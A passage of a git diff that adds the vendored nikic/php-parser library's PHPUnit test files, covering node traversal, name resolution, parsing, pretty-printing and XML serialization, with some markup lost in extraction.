$value) { + if ($i === 0) { + $this->assertSame('subNode1', $key); + $this->assertSame('value1', $value); + } else if ($i === 1) { + $this->assertSame('subNode2', $key); + $this->assertSame('value2', $value); + } else if ($i === 2) { + $this->assertSame('notSubNode', $key); + $this->assertSame('value3', $value); + } else { + throw new \Exception; + } + $i++; + } + $this->assertSame(3, $i); + } + + public function testAttributes() { + /** @var $node Node */ + $node = $this->getMockForAbstractClass('PhpParser\NodeAbstract'); + + $this->assertEmpty($node->getAttributes()); + + $node->setAttribute('key', 'value'); + $this->assertTrue($node->hasAttribute('key')); + $this->assertSame('value', $node->getAttribute('key')); + + $this->assertFalse($node->hasAttribute('doesNotExist')); + $this->assertNull($node->getAttribute('doesNotExist')); + $this->assertSame('default', $node->getAttribute('doesNotExist', 'default')); + + $node->setAttribute('null', null); + $this->assertTrue($node->hasAttribute('null')); + $this->assertNull($node->getAttribute('null')); + $this->assertNull($node->getAttribute('null', 'default')); + + $this->assertSame( + array( + 'key' => 'value', + 'null' => null, + ), + $node->getAttributes() + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/NodeDumperTest.php b/vendor/nikic/php-parser/test/PhpParser/NodeDumperTest.php new file mode 100644 index 00000000..306bc20d --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/NodeDumperTest.php @@ -0,0 +1,72 @@ +assertSame($this->canonicalize($dump), $this->canonicalize($dumper->dump($node))); + } + + public function provideTestDump() { + return array( + array( + array(), +'array( +)' + ), + array( + array('Foo', 'Bar', 'Key' => 'FooBar'), +'array( + 0: Foo + 1: Bar + Key: FooBar +)' + ), + array( + new Node\Name(array('Hallo', 'World')), +'Name( + parts: array( + 0: Hallo + 1: World + ) +)' + ), + array( + new Node\Expr\Array_(array( + new Node\Expr\ArrayItem(new Node\Scalar\String_('Foo')) + )), +'Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: Foo + ) + byRef: false + ) + ) +)' + ), + ); + } + + /** + * @expectedException \InvalidArgumentException + * @expectedExceptionMessage Can only dump nodes and arrays. + */ + public function testError() { + $dumper = new NodeDumper; + $dumper->dump(new \stdClass); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/NodeTraverserTest.php b/vendor/nikic/php-parser/test/PhpParser/NodeTraverserTest.php new file mode 100644 index 00000000..d750e14c --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/NodeTraverserTest.php @@ -0,0 +1,218 @@ +getMock('PhpParser\NodeVisitor'); + + $visitor->expects($this->at(0))->method('beforeTraverse')->with($stmts); + $visitor->expects($this->at(1))->method('enterNode')->with($echoNode); + $visitor->expects($this->at(2))->method('enterNode')->with($str1Node); + $visitor->expects($this->at(3))->method('leaveNode')->with($str1Node); + $visitor->expects($this->at(4))->method('enterNode')->with($str2Node); + $visitor->expects($this->at(5))->method('leaveNode')->with($str2Node); + $visitor->expects($this->at(6))->method('leaveNode')->with($echoNode); + $visitor->expects($this->at(7))->method('afterTraverse')->with($stmts); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor); + + $this->assertEquals($stmts, $traverser->traverse($stmts)); + } + + public function testModifying() { + $str1Node = new String_('Foo'); + $str2Node = new String_('Bar'); + $printNode = new Expr\Print_($str1Node); + + // first visitor changes the node, second verifies the change + $visitor1 = $this->getMock('PhpParser\NodeVisitor'); + $visitor2 = $this->getMock('PhpParser\NodeVisitor'); + + // replace empty statements with string1 node + $visitor1->expects($this->at(0))->method('beforeTraverse')->with(array()) + ->will($this->returnValue(array($str1Node))); + $visitor2->expects($this->at(0))->method('beforeTraverse')->with(array($str1Node)); + + // replace string1 node with print node + $visitor1->expects($this->at(1))->method('enterNode')->with($str1Node) + ->will($this->returnValue($printNode)); + $visitor2->expects($this->at(1))->method('enterNode')->with($printNode); + + // replace string1 node with string2 node + $visitor1->expects($this->at(2))->method('enterNode')->with($str1Node) + ->will($this->returnValue($str2Node)); + $visitor2->expects($this->at(2))->method('enterNode')->with($str2Node); + + // replace string2 node with string1 node again + $visitor1->expects($this->at(3))->method('leaveNode')->with($str2Node) + ->will($this->returnValue($str1Node)); + $visitor2->expects($this->at(3))->method('leaveNode')->with($str1Node); + + // replace print node with string1 node again + $visitor1->expects($this->at(4))->method('leaveNode')->with($printNode) + ->will($this->returnValue($str1Node)); + $visitor2->expects($this->at(4))->method('leaveNode')->with($str1Node); + + // replace string1 node with empty statements again + $visitor1->expects($this->at(5))->method('afterTraverse')->with(array($str1Node)) + ->will($this->returnValue(array())); + $visitor2->expects($this->at(5))->method('afterTraverse')->with(array()); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor1); + $traverser->addVisitor($visitor2); + + // as all operations are reversed we end where we start + $this->assertEquals(array(), $traverser->traverse(array())); + } + + public function testRemove() { + $str1Node = new String_('Foo'); + $str2Node = new String_('Bar'); + + $visitor = $this->getMock('PhpParser\NodeVisitor'); + + // remove the string1 node, leave the string2 node + $visitor->expects($this->at(2))->method('leaveNode')->with($str1Node) + ->will($this->returnValue(false)); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor); + + $this->assertEquals(array($str2Node), $traverser->traverse(array($str1Node, $str2Node))); + } + + public function testMerge() { + $strStart = new String_('Start'); + $strMiddle = new String_('End'); + $strEnd = new String_('Middle'); + $strR1 = new String_('Replacement 1'); + $strR2 = new String_('Replacement 2'); + + $visitor = $this->getMock('PhpParser\NodeVisitor'); + + // replace strMiddle with strR1 and strR2 by merge + $visitor->expects($this->at(4))->method('leaveNode')->with($strMiddle) + ->will($this->returnValue(array($strR1, $strR2))); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor); + + $this->assertEquals( + array($strStart, $strR1, $strR2, $strEnd), + $traverser->traverse(array($strStart, $strMiddle, $strEnd)) + ); + } + + public function testDeepArray() { + $strNode = new String_('Foo'); + $stmts = array(array(array($strNode))); + + $visitor = $this->getMock('PhpParser\NodeVisitor'); + $visitor->expects($this->at(1))->method('enterNode')->with($strNode); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor); + + $this->assertEquals($stmts, $traverser->traverse($stmts)); + } + + public function testDontTraverseChildren() { + $strNode = new String_('str'); + $printNode = new Expr\Print_($strNode); + $varNode = new Expr\Variable('foo'); + $mulNode = new Expr\BinaryOp\Mul($varNode, $varNode); + $negNode = new Expr\UnaryMinus($mulNode); + $stmts = array($printNode, $negNode); + + $visitor1 = $this->getMock('PhpParser\NodeVisitor'); + $visitor2 = $this->getMock('PhpParser\NodeVisitor'); + + $visitor1->expects($this->at(1))->method('enterNode')->with($printNode) + ->will($this->returnValue(NodeTraverser::DONT_TRAVERSE_CHILDREN)); + $visitor2->expects($this->at(1))->method('enterNode')->with($printNode); + + $visitor1->expects($this->at(2))->method('leaveNode')->with($printNode); + $visitor2->expects($this->at(2))->method('leaveNode')->with($printNode); + + $visitor1->expects($this->at(3))->method('enterNode')->with($negNode); + $visitor2->expects($this->at(3))->method('enterNode')->with($negNode); + + $visitor1->expects($this->at(4))->method('enterNode')->with($mulNode); + $visitor2->expects($this->at(4))->method('enterNode')->with($mulNode) + ->will($this->returnValue(NodeTraverser::DONT_TRAVERSE_CHILDREN)); + + $visitor1->expects($this->at(5))->method('leaveNode')->with($mulNode); + $visitor2->expects($this->at(5))->method('leaveNode')->with($mulNode); + + $visitor1->expects($this->at(6))->method('leaveNode')->with($negNode); + $visitor2->expects($this->at(6))->method('leaveNode')->with($negNode); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor1); + $traverser->addVisitor($visitor2); + + $this->assertEquals($stmts, $traverser->traverse($stmts)); + } + + public function testRemovingVisitor() { + $visitor1 = $this->getMock('PhpParser\NodeVisitor'); + $visitor2 = $this->getMock('PhpParser\NodeVisitor'); + $visitor3 = $this->getMock('PhpParser\NodeVisitor'); + + $traverser = new NodeTraverser; + $traverser->addVisitor($visitor1); + $traverser->addVisitor($visitor2); + $traverser->addVisitor($visitor3); + + $preExpected = array($visitor1, $visitor2, $visitor3); + $this->assertAttributeSame($preExpected, 'visitors', $traverser, 'The appropriate visitors have not been added'); + + $traverser->removeVisitor($visitor2); + + $postExpected = array(0 => $visitor1, 2 => $visitor3); + $this->assertAttributeSame($postExpected, 'visitors', $traverser, 'The appropriate visitors are not present after removal'); + } + + public function testCloneNodes() { + $stmts = array(new Node\Stmt\Echo_(array(new String_('Foo'), new String_('Bar')))); + + $traverser = new NodeTraverser(true); + + $this->assertNotSame($stmts, $traverser->traverse($stmts)); + } + + public function testNoCloneNodesByDefault() { + $stmts = array(new Node\Stmt\Echo_(array(new String_('Foo'), new String_('Bar')))); + + $traverser = new NodeTraverser; + + $this->assertSame($stmts, $traverser->traverse($stmts)); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage leaveNode() may only return an array if the parent structure is an array + */ + public function testReplaceByArrayOnlyAllowedIfParentIsArray() { + $stmts = array(new Node\Expr\UnaryMinus(new Node\Scalar\LNumber(42))); + + $visitor = $this->getMock('PhpParser\NodeVisitor'); + $visitor->method('leaveNode')->willReturn(array(new Node\Scalar\DNumber(42.0))); + + $traverser = new NodeTraverser(); + $traverser->addVisitor($visitor); + $traverser->traverse($stmts); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/NodeVisitor/NameResolverTest.php b/vendor/nikic/php-parser/test/PhpParser/NodeVisitor/NameResolverTest.php new file mode 100644 index 00000000..ecc443f8 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/NodeVisitor/NameResolverTest.php @@ -0,0 +1,417 @@ +addVisitor(new NameResolver); + + $stmts = $parser->parse($code); + $stmts = $traverser->traverse($stmts); + + $this->assertSame( + $this->canonicalize($expectedCode), + $prettyPrinter->prettyPrint($stmts) + ); + } + + /** + * @covers PhpParser\NodeVisitor\NameResolver + */ + public function testResolveLocations() { + $code = <<<'EOC' +addVisitor(new NameResolver); + + $stmts = $parser->parse($code); + $stmts = $traverser->traverse($stmts); + + $this->assertSame( + $this->canonicalize($expectedCode), + $prettyPrinter->prettyPrint($stmts) + ); + } + + public function testNoResolveSpecialName() { + $stmts = array(new Node\Expr\New_(new Name('self'))); + + $traverser = new PhpParser\NodeTraverser; + $traverser->addVisitor(new NameResolver); + + $this->assertEquals($stmts, $traverser->traverse($stmts)); + } + + public function testAddNamespacedName() { + $nsStmts = array( + new Stmt\Class_('A'), + new Stmt\Interface_('B'), + new Stmt\Function_('C'), + new Stmt\Const_(array( + new Node\Const_('D', new Node\Scalar\LNumber(42)) + )), + new Stmt\Trait_('E'), + new Expr\New_(new Stmt\Class_(null)), + ); + + $traverser = new PhpParser\NodeTraverser; + $traverser->addVisitor(new NameResolver); + + $stmts = $traverser->traverse([new Stmt\Namespace_(new Name('NS'), $nsStmts)]); + $this->assertSame('NS\\A', (string) $stmts[0]->stmts[0]->namespacedName); + $this->assertSame('NS\\B', (string) $stmts[0]->stmts[1]->namespacedName); + $this->assertSame('NS\\C', (string) $stmts[0]->stmts[2]->namespacedName); + $this->assertSame('NS\\D', (string) $stmts[0]->stmts[3]->consts[0]->namespacedName); + $this->assertSame('NS\\E', (string) $stmts[0]->stmts[4]->namespacedName); + $this->assertObjectNotHasAttribute('namespacedName', $stmts[0]->stmts[5]->class); + + $stmts = $traverser->traverse([new Stmt\Namespace_(null, $nsStmts)]); + $this->assertSame('A', (string) $stmts[0]->stmts[0]->namespacedName); + $this->assertSame('B', (string) $stmts[0]->stmts[1]->namespacedName); + $this->assertSame('C', (string) $stmts[0]->stmts[2]->namespacedName); + $this->assertSame('D', (string) $stmts[0]->stmts[3]->consts[0]->namespacedName); + $this->assertSame('E', (string) $stmts[0]->stmts[4]->namespacedName); + $this->assertObjectNotHasAttribute('namespacedName', $stmts[0]->stmts[5]->class); + } + + /** + * @dataProvider provideTestError + */ + public function testError(Node $stmt, $errorMsg) { + $this->setExpectedException('PhpParser\Error', $errorMsg); + + $traverser = new PhpParser\NodeTraverser; + $traverser->addVisitor(new NameResolver); + $traverser->traverse(array($stmt)); + } + + public function provideTestError() { + return array( + array( + new Stmt\Use_(array( + new Stmt\UseUse(new Name('A\B'), 'B', 0, array('startLine' => 1)), + new Stmt\UseUse(new Name('C\D'), 'B', 0, array('startLine' => 2)), + ), Stmt\Use_::TYPE_NORMAL), + 'Cannot use C\D as B because the name is already in use on line 2' + ), + array( + new Stmt\Use_(array( + new Stmt\UseUse(new Name('a\b'), 'b', 0, array('startLine' => 1)), + new Stmt\UseUse(new Name('c\d'), 'B', 0, array('startLine' => 2)), + ), Stmt\Use_::TYPE_FUNCTION), + 'Cannot use function c\d as B because the name is already in use on line 2' + ), + array( + new Stmt\Use_(array( + new Stmt\UseUse(new Name('A\B'), 'B', 0, array('startLine' => 1)), + new Stmt\UseUse(new Name('C\D'), 'B', 0, array('startLine' => 2)), + ), Stmt\Use_::TYPE_CONSTANT), + 'Cannot use const C\D as B because the name is already in use on line 2' + ), + array( + new Expr\New_(new Name\FullyQualified('self', array('startLine' => 3))), + "'\\self' is an invalid class name on line 3" + ), + array( + new Expr\New_(new Name\Relative('self', array('startLine' => 3))), + "'\\self' is an invalid class name on line 3" + ), + array( + new Expr\New_(new Name\FullyQualified('PARENT', array('startLine' => 3))), + "'\\PARENT' is an invalid class name on line 3" + ), + array( + new Expr\New_(new Name\Relative('STATIC', array('startLine' => 3))), + "'\\STATIC' is an invalid class name on line 3" + ), + ); + } + + public function testClassNameIsCaseInsensitive() + { + $source = <<<'EOC' +parse($source); + + $traverser = new PhpParser\NodeTraverser; + $traverser->addVisitor(new NameResolver); + + $stmts = $traverser->traverse($stmts); + $stmt = $stmts[0]; + + $this->assertSame(array('Bar', 'Baz'), $stmt->stmts[1]->expr->class->parts); + } + + public function testSpecialClassNamesAreCaseInsensitive() { + $source = <<<'EOC' +parse($source); + + $traverser = new PhpParser\NodeTraverser; + $traverser->addVisitor(new NameResolver); + + $stmts = $traverser->traverse($stmts); + $classStmt = $stmts[0]; + $methodStmt = $classStmt->stmts[0]->stmts[0]; + + $this->assertSame('SELF', (string)$methodStmt->stmts[0]->class); + $this->assertSame('PARENT', (string)$methodStmt->stmts[1]->class); + $this->assertSame('STATIC', (string)$methodStmt->stmts[2]->class); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Parser/MultipleTest.php b/vendor/nikic/php-parser/test/PhpParser/Parser/MultipleTest.php new file mode 100644 index 00000000..e2722c3f --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Parser/MultipleTest.php @@ -0,0 +1,113 @@ + []]); + return new Multiple([new Php7($lexer), new Php5($lexer)]); + } + + private function getPrefer5() { + $lexer = new Lexer(['usedAttributes' => []]); + return new Multiple([new Php5($lexer), new Php7($lexer)]); + } + + /** @dataProvider provideTestParse */ + public function testParse($code, Multiple $parser, $expected) { + $this->assertEquals($expected, $parser->parse($code)); + $this->assertSame([], $parser->getErrors()); + } + + public function provideTestParse() { + return [ + [ + // PHP 7 only code + 'getPrefer5(), + [ + new Stmt\Class_('Test', ['stmts' => [ + new Stmt\ClassMethod('function') + ]]), + ] + ], + [ + // PHP 5 only code + 'b;', + $this->getPrefer7(), + [ + new Stmt\Global_([ + new Expr\Variable(new Expr\PropertyFetch(new Expr\Variable('a'), 'b')) + ]) + ] + ], + [ + // Different meaning (PHP 5) + 'getPrefer5(), + [ + new Expr\Variable( + new Expr\ArrayDimFetch(new Expr\Variable('a'), LNumber::fromString('0')) + ) + ] + ], + [ + // Different meaning (PHP 7) + 'getPrefer7(), + [ + new Expr\ArrayDimFetch( + new Expr\Variable(new Expr\Variable('a')), LNumber::fromString('0') + ) + ] + ], + ]; + } + + public function testThrownError() { + $this->setExpectedException('PhpParser\Error', 'FAIL A'); + + $parserA = $this->getMockBuilder('PhpParser\Parser')->getMock(); + $parserA->expects($this->at(0)) + ->method('parse')->will($this->throwException(new Error('FAIL A'))); + + $parserB = $this->getMockBuilder('PhpParser\Parser')->getMock(); + $parserB->expects($this->at(0)) + ->method('parse')->will($this->throwException(new Error('FAIL B'))); + + $parser = new Multiple([$parserA, $parserB]); + $parser->parse('dummy'); + } + + public function testGetErrors() { + $errorsA = [new Error('A1'), new Error('A2')]; + $parserA = $this->getMockBuilder('PhpParser\Parser')->getMock(); + $parserA->expects($this->at(0))->method('parse'); + $parserA->expects($this->at(1)) + ->method('getErrors')->will($this->returnValue($errorsA)); + + $errorsB = [new Error('B1'), new Error('B2')]; + $parserB = $this->getMockBuilder('PhpParser\Parser')->getMock(); + $parserB->expects($this->at(0))->method('parse'); + $parserB->expects($this->at(1)) + ->method('getErrors')->will($this->returnValue($errorsB)); + + $parser = new Multiple([$parserA, $parserB]); + $parser->parse('dummy'); + $this->assertSame($errorsA, $parser->getErrors()); + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/PhpParser/Parser/Php5Test.php b/vendor/nikic/php-parser/test/PhpParser/Parser/Php5Test.php new file mode 100644 index 00000000..58c4e617 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Parser/Php5Test.php @@ -0,0 +1,14 @@ +assertInstanceOf($expected, (new ParserFactory)->create($kind, $lexer)); + } + + public function provideTestCreate() { + $lexer = new Lexer(); + return [ + [ + ParserFactory::PREFER_PHP7, $lexer, + 'PhpParser\Parser\Multiple' + ], + [ + ParserFactory::PREFER_PHP5, null, + 'PhpParser\Parser\Multiple' + ], + [ + ParserFactory::ONLY_PHP7, null, + 'PhpParser\Parser\Php7' + ], + [ + ParserFactory::ONLY_PHP5, $lexer, + 'PhpParser\Parser\Php5' + ] + ]; + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/PhpParser/ParserTest.php b/vendor/nikic/php-parser/test/PhpParser/ParserTest.php new file mode 100644 index 00000000..1318d8b4 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/ParserTest.php @@ -0,0 +1,170 @@ +getParser(new Lexer()); + $parser->parse('getParser(new Lexer()); + $parser->parse(' array( + 'comments', 'startLine', 'endLine', + 'startTokenPos', 'endTokenPos', + ) + )); + + $code = <<<'EOC' +getParser($lexer); + $stmts = $parser->parse($code); + + /** @var \PhpParser\Node\Stmt\Function_ $fn */ + $fn = $stmts[0]; + $this->assertInstanceOf('PhpParser\Node\Stmt\Function_', $fn); + $this->assertEquals(array( + 'comments' => array( + new Comment\Doc('/** Doc comment */', 2, 6), + ), + 'startLine' => 3, + 'endLine' => 7, + 'startTokenPos' => 3, + 'endTokenPos' => 21, + ), $fn->getAttributes()); + + $param = $fn->params[0]; + $this->assertInstanceOf('PhpParser\Node\Param', $param); + $this->assertEquals(array( + 'startLine' => 3, + 'endLine' => 3, + 'startTokenPos' => 7, + 'endTokenPos' => 7, + ), $param->getAttributes()); + + /** @var \PhpParser\Node\Stmt\Echo_ $echo */ + $echo = $fn->stmts[0]; + $this->assertInstanceOf('PhpParser\Node\Stmt\Echo_', $echo); + $this->assertEquals(array( + 'comments' => array( + new Comment("// Line\n", 4, 49), + new Comment("// Comments\n", 5, 61), + ), + 'startLine' => 6, + 'endLine' => 6, + 'startTokenPos' => 16, + 'endTokenPos' => 19, + ), $echo->getAttributes()); + + /** @var \PhpParser\Node\Expr\Variable $var */ + $var = $echo->exprs[0]; + $this->assertInstanceOf('PhpParser\Node\Expr\Variable', $var); + $this->assertEquals(array( + 'startLine' => 6, + 'endLine' => 6, + 'startTokenPos' => 18, + 'endTokenPos' => 18, + ), $var->getAttributes()); + } + + /** + * @expectedException \RangeException + * @expectedExceptionMessage The lexer returned an invalid token (id=999, value=foobar) + */ + public function testInvalidToken() { + $lexer = new InvalidTokenLexer; + $parser = $this->getParser($lexer); + $parser->parse('dummy'); + } + + /** + * @dataProvider provideTestKindAttributes + */ + public function testKindAttributes($code, $expectedAttributes) { + $parser = $this->getParser(new Lexer); + $stmts = $parser->parse("getAttributes(); + foreach ($expectedAttributes as $name => $value) { + $this->assertSame($value, $attributes[$name]); + } + } + + public function provideTestKindAttributes() { + return array( + array('0', ['kind' => Scalar\LNumber::KIND_DEC]), + array('9', ['kind' => Scalar\LNumber::KIND_DEC]), + array('07', ['kind' => Scalar\LNumber::KIND_OCT]), + array('0xf', ['kind' => Scalar\LNumber::KIND_HEX]), + array('0XF', ['kind' => Scalar\LNumber::KIND_HEX]), + array('0b1', ['kind' => Scalar\LNumber::KIND_BIN]), + array('0B1', ['kind' => Scalar\LNumber::KIND_BIN]), + array('[]', ['kind' => Expr\Array_::KIND_SHORT]), + array('array()', ['kind' => Expr\Array_::KIND_LONG]), + array("'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]), + array("b'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]), + array("B'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]), + array('"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array('b"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array('B"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array('"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array('b"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array('B"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]), + array("<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']), + array("<< String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("<<<\"STR\"\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("b<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']), + array("B<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']), + array("<<< \t 'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']), + // HHVM doesn't support this due to a lexer bug + // (https://github.com/facebook/hhvm/issues/6970) + // array("<<<'\xff'\n\xff\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => "\xff"]), + array("<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("b<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("B<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("<<< \t \"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']), + array("die", ['kind' => Expr\Exit_::KIND_DIE]), + array("die('done')", ['kind' => Expr\Exit_::KIND_DIE]), + array("exit", ['kind' => Expr\Exit_::KIND_EXIT]), + array("exit(1)", ['kind' => Expr\Exit_::KIND_EXIT]), + ); + } +} + +class InvalidTokenLexer extends Lexer { + public function getNextToken(&$value = null, &$startAttributes = null, &$endAttributes = null) { + $value = 'foobar'; + return 999; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/PrettyPrinterTest.php b/vendor/nikic/php-parser/test/PhpParser/PrettyPrinterTest.php new file mode 100644 index 00000000..9dbd3d30 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/PrettyPrinterTest.php @@ -0,0 +1,164 @@ +parseModeLine($modeLine); + $prettyPrinter = new Standard($options); + + try { + $output5 = canonicalize($prettyPrinter->$method($parser5->parse($code))); + } catch (Error $e) { + $output5 = null; + if ('php7' !== $version) { + throw $e; + } + } + + try { + $output7 = canonicalize($prettyPrinter->$method($parser7->parse($code))); + } catch (Error $e) { + $output7 = null; + if ('php5' !== $version) { + throw $e; + } + } + + if ('php5' === $version) { + $this->assertSame($expected, $output5, $name); + $this->assertNotSame($expected, $output7, $name); + } else if ('php7' === $version) { + $this->assertSame($expected, $output7, $name); + $this->assertNotSame($expected, $output5, $name); + } else { + $this->assertSame($expected, $output5, $name); + $this->assertSame($expected, $output7, $name); + } + } + + /** + * @dataProvider provideTestPrettyPrint + * @covers PhpParser\PrettyPrinter\Standard + */ + public function testPrettyPrint($name, $code, $expected, $mode) { + $this->doTestPrettyPrintMethod('prettyPrint', $name, $code, $expected, $mode); + } + + /** + * @dataProvider provideTestPrettyPrintFile + * @covers PhpParser\PrettyPrinter\Standard + */ + public function testPrettyPrintFile($name, $code, $expected, $mode) { + $this->doTestPrettyPrintMethod('prettyPrintFile', $name, $code, $expected, $mode); + } + + public function provideTestPrettyPrint() { + return $this->getTests(__DIR__ . '/../code/prettyPrinter', 'test'); + } + + public function provideTestPrettyPrintFile() { + return $this->getTests(__DIR__ . '/../code/prettyPrinter', 'file-test'); + } + + public function testPrettyPrintExpr() { + $prettyPrinter = new Standard; + $expr = new Expr\BinaryOp\Mul( + new Expr\BinaryOp\Plus(new Expr\Variable('a'), new Expr\Variable('b')), + new Expr\Variable('c') + ); + $this->assertEquals('($a + $b) * $c', $prettyPrinter->prettyPrintExpr($expr)); + + $expr = new Expr\Closure(array( + 'stmts' => array(new Stmt\Return_(new String_("a\nb"))) + )); + $this->assertEquals("function () {\n return 'a\nb';\n}", $prettyPrinter->prettyPrintExpr($expr)); + } + + public function testCommentBeforeInlineHTML() { + $prettyPrinter = new PrettyPrinter\Standard; + $comment = new Comment\Doc("/**\n * This is a comment\n */"); + $stmts = [new Stmt\InlineHTML('Hello World!', ['comments' => [$comment]])]; + $expected = "\nHello World!"; + $this->assertSame($expected, $prettyPrinter->prettyPrintFile($stmts)); + } + + private function parseModeLine($modeLine) { + $parts = explode(' ', $modeLine, 2); + $version = isset($parts[0]) ? $parts[0] : 'both'; + $options = isset($parts[1]) ? json_decode($parts[1], true) : []; + return [$version, $options]; + } + + public function testArraySyntaxDefault() { + $prettyPrinter = new Standard(['shortArraySyntax' => true]); + $expr = new Expr\Array_([ + new Expr\ArrayItem(new String_('val'), new String_('key')) + ]); + $expected = "['key' => 'val']"; + $this->assertSame($expected, $prettyPrinter->prettyPrintExpr($expr)); + } + + /** + * @dataProvider provideTestKindAttributes + */ + public function testKindAttributes($node, $expected) { + $prttyPrinter = new PrettyPrinter\Standard; + $result = $prttyPrinter->prettyPrintExpr($node); + $this->assertSame($expected, $result); + } + + public function provideTestKindAttributes() { + $nowdoc = ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']; + $heredoc = ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']; + return [ + // Defaults to single quoted + [new String_('foo'), "'foo'"], + // Explicit single/double quoted + [new String_('foo', ['kind' => String_::KIND_SINGLE_QUOTED]), "'foo'"], + [new String_('foo', ['kind' => String_::KIND_DOUBLE_QUOTED]), '"foo"'], + // Fallback from doc string if no label + [new String_('foo', ['kind' => String_::KIND_NOWDOC]), "'foo'"], + [new String_('foo', ['kind' => String_::KIND_HEREDOC]), '"foo"'], + // Fallback if string contains label + [new String_("A\nB\nC", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'A']), "'A\nB\nC'"], + [new String_("A\nB\nC", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'B']), "'A\nB\nC'"], + [new String_("A\nB\nC", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'C']), "'A\nB\nC'"], + [new String_("STR;", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']), "'STR;'"], + // Doc string if label not contained (or not in ending position) + [new String_("foo", $nowdoc), "<<<'STR'\nfoo\nSTR\n"], + [new String_("foo", $heredoc), "<< + */ + public function testSerialize() { + $code = << + + + + + 4 + + + + // comment + + /** doc comment */ + + + + 6 + + + + + + functionName + + + + + + 4 + + + 4 + + + + + + + + + + + + a + + + + + 4 + + + 4 + + + 10 + + + 0 + + + + + + + 4 + + + 4 + + + + + + + + + + + + b + + + + + 4 + + + 4 + + + 1 + + + + + + + + + + + + + + 5 + + + 5 + + + + + + 5 + + + 5 + + + 1 + + + Foo + + + + + + + + + + +XML; + + $parser = new PhpParser\Parser\Php7(new PhpParser\Lexer); + $serializer = new XML; + + $code = str_replace("\r\n", "\n", $code); + $stmts = $parser->parse($code); + $this->assertXmlStringEqualsXmlString($xml, $serializer->serialize($stmts)); + } + + /** + * @expectedException \InvalidArgumentException + * @expectedExceptionMessage Unexpected node type + */ + public function testError() { + $serializer = new XML; + $serializer->serialize(array(new \stdClass)); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Unserializer/XMLTest.php b/vendor/nikic/php-parser/test/PhpParser/Unserializer/XMLTest.php new file mode 100644 index 00000000..8ee5d7b5 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Unserializer/XMLTest.php @@ -0,0 +1,150 @@ + + + + + 1 + + + + // comment + + /** doc comment */ + + + + Test + + + +XML; + + $unserializer = new XML; + $this->assertEquals( + new Scalar\String_('Test', array( + 'startLine' => 1, + 'comments' => array( + new Comment('// comment' . "\n", 2), + new Comment\Doc('/** doc comment */', 3), + ), + )), + $unserializer->unserialize($xml) + ); + } + + public function testEmptyNode() { + $xml = << + + + +XML; + + $unserializer = new XML; + + $this->assertEquals( + new Scalar\MagicConst\Class_, + $unserializer->unserialize($xml) + ); + } + + public function testScalars() { + $xml = << + + + + + test + + + 1 + 1 + 1.5 + + + + + +XML; + $result = array( + array(), array(), + 'test', '', '', + 1, + 1, 1.5, + true, false, null + ); + + $unserializer = new XML; + $this->assertEquals($result, $unserializer->unserialize($xml)); + } + + /** + * @expectedException \DomainException + * @expectedExceptionMessage AST root element not found + */ + public function testWrongRootElementError() { + $xml = << + +XML; + + $unserializer = new XML; + $unserializer->unserialize($xml); + } + + /** + * @dataProvider provideTestErrors + */ + public function testErrors($xml, $errorMsg) { + $this->setExpectedException('DomainException', $errorMsg); + + $xml = << + + $xml + +XML; + + $unserializer = new XML; + $unserializer->unserialize($xml); + } + + public function provideTestErrors() { + return array( + array('test', '"true" scalar must be empty'), + array('test', '"false" scalar must be empty'), + array('test', '"null" scalar must be empty'), + array('bar', 